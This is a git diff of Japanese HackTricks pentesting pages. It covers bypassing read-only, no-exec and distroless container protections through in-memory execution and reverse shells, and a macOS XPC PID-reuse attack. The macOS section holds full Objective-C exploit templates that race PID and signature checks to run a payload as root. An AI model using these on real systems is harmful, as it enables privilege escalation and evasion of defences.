* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある場合、**解読可能なものをハッキングする** - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハッキング**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、自分のハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# ファイルシステムの保護をバイパスする:読み取り専用 / 実行不可 / Distroless
|
||||
# ファイルシステム保護のバイパス:読み取り専用 / 実行不可 / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
- **Hackingトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中**です!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,15 +24,14 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
以下の動画では、このページで言及されているテクニックについて、より詳しく説明されています:
|
||||
|
||||
- [**DEF CON 31 - ステルスと回避のためのLinuxメモリ操作の探索**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
- [**DDexec-ngとインメモリdlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
* [**DEF CON 31 - ステルスおよび回避のためのLinuxメモリ操作の探索**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ngおよびインメモリdlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## 読み取り専用 / 実行不可シナリオ
|
||||
|
||||
**読み取り専用(ro)ファイルシステム保護**が **Linuxマシン** で **より一般的**になってきており、特にコンテナで見つけることができます。これは、`securitycontext` で **`readOnlyRootFilesystem: true`** を設定するだけで、roファイルシステムでコンテナを実行するのが簡単であるためです:
|
||||
**Linuxマシンが**特にコンテナ内で**読み取り専用(ro)ファイルシステム保護**でマウントされることがますます一般的になっています。これは、`securitycontext`で**`readOnlyRootFilesystem: true`**を設定するだけで、roファイルシステムでコンテナを実行するのが簡単であるためです:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: alpine-pod
|
||||
|
@ -41,46 +40,46 @@ containers:
|
|||
- name: alpine
|
||||
image: alpine
|
||||
securityContext:
|
||||
readOnlyRootFilesystem: true
|
||||
command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
```
|
||||
<strong> readOnlyRootFilesystem: true
|
||||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`** は書き込み可能のままであるため、ディスクに書き込むことができないということはありません。ただし、このフォルダは **実行不可保護** でマウントされるため、ここにバイナリをダウンロードしても **実行できません**。
|
||||
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能のままであるため、ディスクに書き込むことができないというのは偽物です。ただし、このフォルダは**実行不可保護**でマウントされるため、ここにバイナリをダウンロードしても**実行できません**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
レッドチームの観点からすると、これは **バックドアや `kubectl` のようなシステムにないバイナリ** をダウンロードして実行することを **複雑に** します。
|
||||
レッドチームの観点からすると、これは**バイナリをダウンロードして実行するのが複雑**になります(バックドアや`kubectl`のような既存のシステムにないバイナリ)。
|
||||
{% endhint %}
|
||||
|
||||
## 最も簡単なバイパス:スクリプト
|
||||
|
||||
バイナリを言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**(`sh` が存在する場合)や **Pythonスクリプト**(`python` がインストールされている場合)など、**スクリプトを実行できます**。
|
||||
バイナリを言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**(`sh`が存在する場合)や**Pythonスクリプト**(`python`がインストールされている場合)など、**任意のスクリプトを実行**できます。
|
||||
|
||||
ただし、これだけでは、バイナリバックドアや実行する必要がある他のバイナリツールを実行するのに十分ではありません。
|
||||
|
||||
## メモリバイパス
|
||||
|
||||
ファイルシステムがそれを許可していない場合にバイナリを実行したい場合、**メモリから実行する**のが最善です。なぜなら、**その保護はそこには適用されない**からです。
|
||||
ファイルシステムがそれを許可していない場合にバイナリを実行したい場合、**メモリから実行**するのが最善です。なぜなら、**その保護はそこには適用されない**からです。
|
||||
|
||||
### FD + exec シスコールバイパス
|
||||
### FD + execシスコールバイパス
|
||||
|
||||
**Python**、**Perl**、または **Ruby** などの強力なスクリプトエンジンがマシン内にある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタに保存し(`create_memfd` シスコール)、これらの保護によって保護されないため、**fdをファイルとして実行する** **`exec` シスコール** を呼び出すことができます。
|
||||
**Python**、**Perl**、または**Ruby**などの強力なスクリプトエンジンがマシン内にある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタに保存し(`create_memfd`シスコール)、これらの保護によって保護されないため、**fdをファイルとして実行する**という**`exec`シスコール**を呼び出すことができます。
|
||||
|
||||
これには、簡単に [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) プロジェクトを使用できます。バイナリを渡すと、バイナリが **b64エンコード** された **スクリプト** が生成され、`create_memfd` シスコールを呼び出して **fd** に保存され、**実行するための exec シスコール** が呼び出されます。
|
||||
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、バイナリが**デコードおよび解凍された**スクリプトが生成され、`create_memfd`シスコールを呼び出して作成された**fd**にバイナリを格納し、**実行するためのexec**シスコールが呼び出されます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
これは、PHPやNodeなどの他のスクリプト言語では **スクリプトから生のシスコールを呼び出すデフォルトの方法** がないため、`create_memfd` を呼び出して **バイナリを保存するためのメモリfd** を作成することができないため、これは機能しません。
|
||||
これは、PHPやNodeなどの他のスクリプト言語では**スクリプトから生のシスコールを呼び出すデフォルトの方法**がないため、`create_memfd`を呼び出して**バイナリを格納するメモリfd**を作成することができないため、これは機能しません。
|
||||
|
||||
さらに、`/dev/shm` 内のファイルで **通常のfd** を作成しても、**実行不可保護** が適用されるため、実行できません。
|
||||
さらに、`/dev/shm`内のファイルで**通常のfd**を作成しても機能しないため、**実行不可保護**が適用されるため実行できません。
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) は、自分自身のプロセスの **`/proc/self/mem`** を上書きすることで、**プロセスが実行しているアセンブリコードを制御**することができる技術です。
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、**`/proc/self/mem`**を上書きすることで、**自分自身のプロセスのメモリを変更**する技術であります。
|
||||
|
||||
したがって、プロセスによって実行される **シェルコード** を書き込み、プロセスを **変異** させて **任意のコードを実行** することができます。
|
||||
したがって、プロセスによって実行されている**アセンブリコードを制御**することで、**シェルコード**を書き込み、プロセスを**任意のコードを実行**するように「変異」させることができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** を使用すると、自分自身の **シェルコード** または **メモリ** から **任意のバイナリ** を **ロードして実行** できます。
|
||||
**DDexec / EverythingExec**を使用すると、**自分自身のメモリから**自分自身の**シェルコード**または**任意のバイナリ**を**ロードして実行**できます。
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -100,28 +99,28 @@ DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memd
|
|||
|
||||
### Distrolessとは
|
||||
|
||||
Distrolessコンテナには、ライブラリやランタイム依存関係など、**特定のアプリケーションやサービスを実行するために必要な最小限のコンポーネント**だけが含まれており、パッケージマネージャーやシェル、システムユーティリティなどのより大きなコンポーネントは除外されています。
|
||||
Distrolessコンテナには、ライブラリやランタイム依存関係など、特定のアプリケーションやサービスを実行するために必要な**最小限のコンポーネント**だけが含まれており、パッケージマネージャーやシェル、システムユーティリティなどのより大きなコンポーネントは除外されています。
|
||||
|
||||
Distrolessコンテナの目標は、**不要なコンポーネントを排除**し、悪用される可能性のある脆弱性の数を最小限に抑えることで、コンテナの攻撃面を**縮小**することです。
|
||||
Distrolessコンテナの目標は、**不要なコンポーネントを排除**し、悪用される可能性のある脆弱性の数を最小限に抑えることによって、コンテナの攻撃面を**縮小**することです。
|
||||
|
||||
### リバースシェル
|
||||
|
||||
Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。また、`ls`、`whoami`、`id`などのバイナリも見つかりません。これらは通常、システムで実行するものです。
|
||||
Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。`ls`、`whoami`、`id`などのバイナリも見つけることはできません...通常システムで実行するすべてのものです。
|
||||
|
||||
{% hint style="warning" %}
|
||||
したがって、通常行うような**リバースシェル**の取得や**システムの列挙**はできません。
|
||||
したがって、通常どおりに**リバースシェル**を取得したり、システムを**列挙**することはできません。
|
||||
{% endhint %}
|
||||
|
||||
ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされているため、**Pythonリバースシェル**を取得できます。Nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。
|
||||
|
||||
{% hint style="success" %}
|
||||
スクリプト言語を使用することで、言語の機能を利用して**システムを列挙**することができます。
|
||||
スクリプト言語を使用することで、言語の機能を利用してシステムを**列挙**することができます。
|
||||
{% endhint %}
|
||||
|
||||
**`read-only/no-exec`**の保護がない場合、リバースシェルを悪用して**ファイルシステムにバイナリを書き込み**、それらを**実行**することができます。
|
||||
**`read-only/no-exec`**の保護がない場合、リバースシェルを悪用してファイルシステムに**バイナリを書き込み**、それらを**実行**することができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
ただし、この種のコンテナでは通常、これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。
|
||||
ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。
|
||||
{% endhint %}
|
||||
|
||||
**RCE脆弱性を悪用してスクリプト言語のリバースシェルを取得**し、[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)でメモリからバイナリを実行する方法の**例**を見つけることができます。
|
||||
|
|
|
@ -1,40 +1,36 @@
|
|||
# macOS PID Reuse
|
||||
# macOS PID 再利用
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
## PID再利用
|
||||
## PID 再利用
|
||||
|
||||
macOSの**XPCサービス**が**PID**に基づいて呼び出し元プロセスをチェックしている場合、**PID再利用攻撃**の脆弱性があります。この攻撃は、**悪用**される**機能を悪用**して**XPCサービスにメッセージを送信**し、その**直後**に\*\*`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**を実行する**レースコンディション\*\*に基づいています。
|
||||
macOS の **XPC サービス** が **PID** に基づいて呼び出し元プロセスをチェックしており、**監査トークン**ではない場合、PID 再利用攻撃の脆弱性があります。この攻撃は、**悪用**される機能を **乱用**する **エクスプロイト** が **XPC サービスにメッセージを送信**し、その直後に **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** を実行する **競合状態** に基づいています。
|
||||
|
||||
この関数は、**許可されたバイナリがPIDを所有**するようにしますが、**悪意のあるXPCメッセージは**ちょうど**その前に送信**されています。したがって、**XPC**サービスが**PID**を使用して**送信元を認証**し、**`posix_spawn`の実行後にそれをチェック**する場合、それは**認証された**プロセスから来たと思うでしょう。
|
||||
この関数は、**許可されたバイナリが PID を所有**するようにしますが、**悪意のある XPC メッセージは**ちょうどその前に送信されている可能性があります。したがって、**XPC** サービスが **PID** を使用して **送信元を認証**し、**`posix_spawn`** の実行後にそれをチェックする場合、それは **認証された** プロセスから来たと思うでしょう。
|
||||
|
||||
### 攻撃例
|
||||
### エクスプロイト例
|
||||
|
||||
関数\*\*`shouldAcceptNewConnection`**またはそれによって呼び出される関数が**`auditToken`**を呼び出さずに**`processIdentifier`**を呼び出している場合、それは**プロセスPID\*\*を検証している可能性が高いです。\
|
||||
関数 **`shouldAcceptNewConnection`** またはそれによって呼び出される関数が **`auditToken`** を呼び出さずに **`processIdentifier`** を呼び出している場合、それはプロセスの PID を検証している可能性が高いです。\
|
||||
たとえば、この画像(参照から取得)のように:
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (303).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
|
||||
|
||||
この攻撃例をチェックしてください(再度、参照から取得):
|
||||
この例のエクスプロイト(再度、参照から取得)をチェックして、エクスプロイトの 2 つの部分を見てください:
|
||||
|
||||
* **複数のフォークを生成**するもの
|
||||
* 各フォークは\*\*`posix_spawn`**を実行しながら**XPCサービスにペイロード**を**送信\*\*します。
|
||||
|
||||
{% hint style="danger" %}
|
||||
攻撃を実行するには、` export`` ` \*\*`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`\*\*を設定するか、攻撃内に次のように記述することが重要です:
|
||||
|
||||
* 各フォークは **`posix_spawn`** を実行しながら **XPC サービスに** **ペイロード** を **送信**します。
|
||||
```objectivec
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
|
@ -42,8 +38,9 @@ asm(".section __DATA,__objc_fork_ok\n"
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
**`NSTasks`** を使用した最初のオプションは、子プロセスを起動して RC を悪用する引数です。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="NSTasks" %}
|
||||
**`NSTasks`** を使用した最初のオプションで、子プロセスを起動して RC を悪用します。
|
||||
```objectivec
|
||||
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
@ -149,61 +146,146 @@ create_nstasks();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
この例では、\*\*\`fork\`\*\*を使用して\*\*PID競合状態を悪用する子プロセスを起動\*\*し、その後\*\*ハードリンクを介した別の競合状態を悪用\*\*します。 \`\`\`objectivec // export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES // gcc -framework Foundation expl.m -o expl
|
||||
{% tab title="fork" %}
|
||||
この例では、PIDレースコンディションを悪用する子プロセスを起動し、その後ハードリンクを介して別のレースコンディションを悪用するために、生の**`fork`**を使用します。
|
||||
```objectivec
|
||||
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
||||
\#include \<Foundation/Foundation.h> #include \<spawn.h> #include \<pthread.h>
|
||||
#include <Foundation/Foundation.h>
|
||||
#include <spawn.h>
|
||||
#include <pthread.h>
|
||||
|
||||
// TODO: CHANGE PROTOCOL AND FUNCTIONS @protocol HelperProtocol
|
||||
// TODO: CHANGE PROTOCOL AND FUNCTIONS
|
||||
@protocol HelperProtocol
|
||||
- (void)DoSomething:(void (^)(_Bool))arg1;
|
||||
@end
|
||||
|
||||
* (void)DoSomething:(void (^)(\_Bool))arg1; @end
|
||||
// Global flag to track exploitation status
|
||||
bool pwned = false;
|
||||
|
||||
// Global flag to track exploitation status bool pwned = false;
|
||||
/**
|
||||
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
|
||||
* XPC service verify the legit binary and then execute as root out payload.
|
||||
*/
|
||||
void *check_race(void *arg) {
|
||||
while(!pwned) {
|
||||
// Overwrite with contents of the legit binary
|
||||
system("cat ./legit_bin > hard_link");
|
||||
usleep(50000);
|
||||
|
||||
/\*\*
|
||||
// Overwrite with contents of the payload to execute
|
||||
// TODO: COMPILE YOUR OWN PAYLOAD BIN
|
||||
system("cat ./payload > hard_link");
|
||||
usleep(50000);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
* Continuously overwrite the contents of the 'hard\_link' file in a race condition to make the
|
||||
* XPC service verify the legit binary and then execute as root out payload. \*/ void \*check\_race(void \*arg) { while(!pwned) { // Overwrite with contents of the legit binary system("cat ./legit\_bin > hard\_link"); usleep(50000);
|
||||
void child_xpc_pid_rc_abuse(){
|
||||
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
|
||||
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
|
||||
extern char **environ;
|
||||
|
||||
// Overwrite with contents of the payload to execute // TODO: COMPILE YOUR OWN PAYLOAD BIN system("cat ./payload > hard\_link"); usleep(50000); } return NULL; }
|
||||
// Connect with XPC service
|
||||
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
|
||||
NSString* service_name = @"com.example.Helper";
|
||||
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
|
||||
// TODO: CNAGE THE PROTOCOL NAME
|
||||
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
|
||||
[connection setRemoteObjectInterface:interface];
|
||||
[connection resume];
|
||||
|
||||
void child\_xpc\_pid\_rc\_abuse(){ // TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION #define kValid "./Legit Updater.app/Contents/MacOS/Legit" extern char \*\*environ;
|
||||
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
|
||||
NSLog(@"[-] Something went wrong");
|
||||
NSLog(@"[-] Error: %@", error);
|
||||
}];
|
||||
|
||||
// Connect with XPC service // TODO: CHANGE THE ID OF THE XPC TO EXPLOIT NSString\* service\_name = @"com.example.Helper"; NSXPCConnection\* connection = \[\[NSXPCConnection alloc] initWithMachServiceName:service\_name options:0x1000]; // TODO: CNAGE THE PROTOCOL NAME NSXPCInterface\* interface = \[NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)]; \[connection setRemoteObjectInterface:interface]; \[connection resume];
|
||||
NSLog(@"obj: %@", obj);
|
||||
NSLog(@"conn: %@", connection);
|
||||
|
||||
id obj = \[connection remoteObjectProxyWithErrorHandler:^(NSError\* error) { NSLog(@"\[-] Something went wrong"); NSLog(@"\[-] Error: %@", error); }];
|
||||
// Call vulenrable XPC function
|
||||
// TODO: CHANEG NAME OF FUNCTION TO CALL
|
||||
[obj DoSomething:^(_Bool b){
|
||||
NSLog(@"Response, %hdd", b);
|
||||
}];
|
||||
|
||||
NSLog(@"obj: %@", obj); NSLog(@"conn: %@", connection);
|
||||
// Change current process to the legit binary suspended
|
||||
char target_binary[] = kValid;
|
||||
char *target_argv[] = {target_binary, NULL};
|
||||
posix_spawnattr_t attr;
|
||||
posix_spawnattr_init(&attr);
|
||||
short flags;
|
||||
posix_spawnattr_getflags(&attr, &flags);
|
||||
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
||||
posix_spawnattr_setflags(&attr, flags);
|
||||
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
||||
}
|
||||
|
||||
// Call vulenrable XPC function // TODO: CHANEG NAME OF FUNCTION TO CALL \[obj DoSomething:^(\_Bool b){ NSLog(@"Response, %hdd", b); }];
|
||||
/**
|
||||
* Function to perform the PID race condition using children calling the XPC exploit.
|
||||
*/
|
||||
void xpc_pid_rc_abuse() {
|
||||
#define RACE_COUNT 1
|
||||
extern char **environ;
|
||||
int pids[RACE_COUNT];
|
||||
|
||||
// Change current process to the legit binary suspended char target\_binary\[] = kValid; char \*target\_argv\[] = {target\_binary, NULL}; posix\_spawnattr\_t attr; posix\_spawnattr\_init(\&attr); short flags; posix\_spawnattr\_getflags(\&attr, \&flags); flags |= (POSIX\_SPAWN\_SETEXEC | POSIX\_SPAWN\_START\_SUSPENDED); posix\_spawnattr\_setflags(\&attr, flags); posix\_spawn(NULL, target\_binary, NULL, \&attr, target\_argv, environ); }
|
||||
// Fork child processes to exploit
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
int pid = fork();
|
||||
if (pid == 0) { // If a child process
|
||||
child_xpc_pid_rc_abuse();
|
||||
}
|
||||
printf("forked %d\n", pid);
|
||||
pids[i] = pid;
|
||||
}
|
||||
|
||||
/\*\*
|
||||
// Wait for children to finish their tasks
|
||||
sleep(3);
|
||||
|
||||
* Function to perform the PID race condition using children calling the XPC exploit. \*/ void xpc\_pid\_rc\_abuse() { #define RACE\_COUNT 1 extern char \*\*environ; int pids\[RACE\_COUNT];
|
||||
// Terminate child processes
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
if (pids[i]) {
|
||||
kill(pids[i], 9);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fork child processes to exploit for (int i = 0; i < RACE\_COUNT; i++) { int pid = fork(); if (pid == 0) { // If a child process child\_xpc\_pid\_rc\_abuse(); } printf("forked %d\n", pid); pids\[i] = pid; }
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Create and set execution rights to 'hard_link' file
|
||||
system("touch hard_link");
|
||||
system("chmod +x hard_link");
|
||||
|
||||
// Wait for children to finish their tasks sleep(3);
|
||||
// Create thread to exploit sign verification RC
|
||||
pthread_t thread;
|
||||
pthread_create(&thread, NULL, check_race, NULL);
|
||||
|
||||
// Terminate child processes for (int i = 0; i < RACE\_COUNT; i++) { if (pids\[i]) { kill(pids\[i], 9); } } }
|
||||
while(!pwned) {
|
||||
// Try creating 'download' directory, ignore errors
|
||||
system("mkdir download 2>/dev/null");
|
||||
|
||||
int main(int argc, const char \* argv\[]) { // Create and set execution rights to 'hard\_link' file system("touch hard\_link"); system("chmod +x hard\_link");
|
||||
// Create a hardlink
|
||||
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
|
||||
system("ln hard_link download/legit_bin");
|
||||
|
||||
// Create thread to exploit sign verification RC pthread\_t thread; pthread\_create(\&thread, NULL, check\_race, NULL);
|
||||
xpc_pid_rc_abuse();
|
||||
usleep(10000);
|
||||
|
||||
while(!pwned) { // Try creating 'download' directory, ignore errors system("mkdir download 2>/dev/null");
|
||||
|
||||
// Create a hardlink // TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC system("ln hard\_link download/legit\_bin");
|
||||
|
||||
xpc\_pid\_rc\_abuse(); usleep(10000);
|
||||
|
||||
// The payload will generate this file if exploitation is successfull if (access("/tmp/pwned", F\_OK ) == 0) { pwned = true; } }
|
||||
|
||||
return 0; }
|
||||
// The payload will generate this file if exploitation is successfull
|
||||
if (access("/tmp/pwned", F_OK ) == 0) {
|
||||
pwned = true;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## その他の例
|
||||
|
||||
* [https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html](https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html)
|
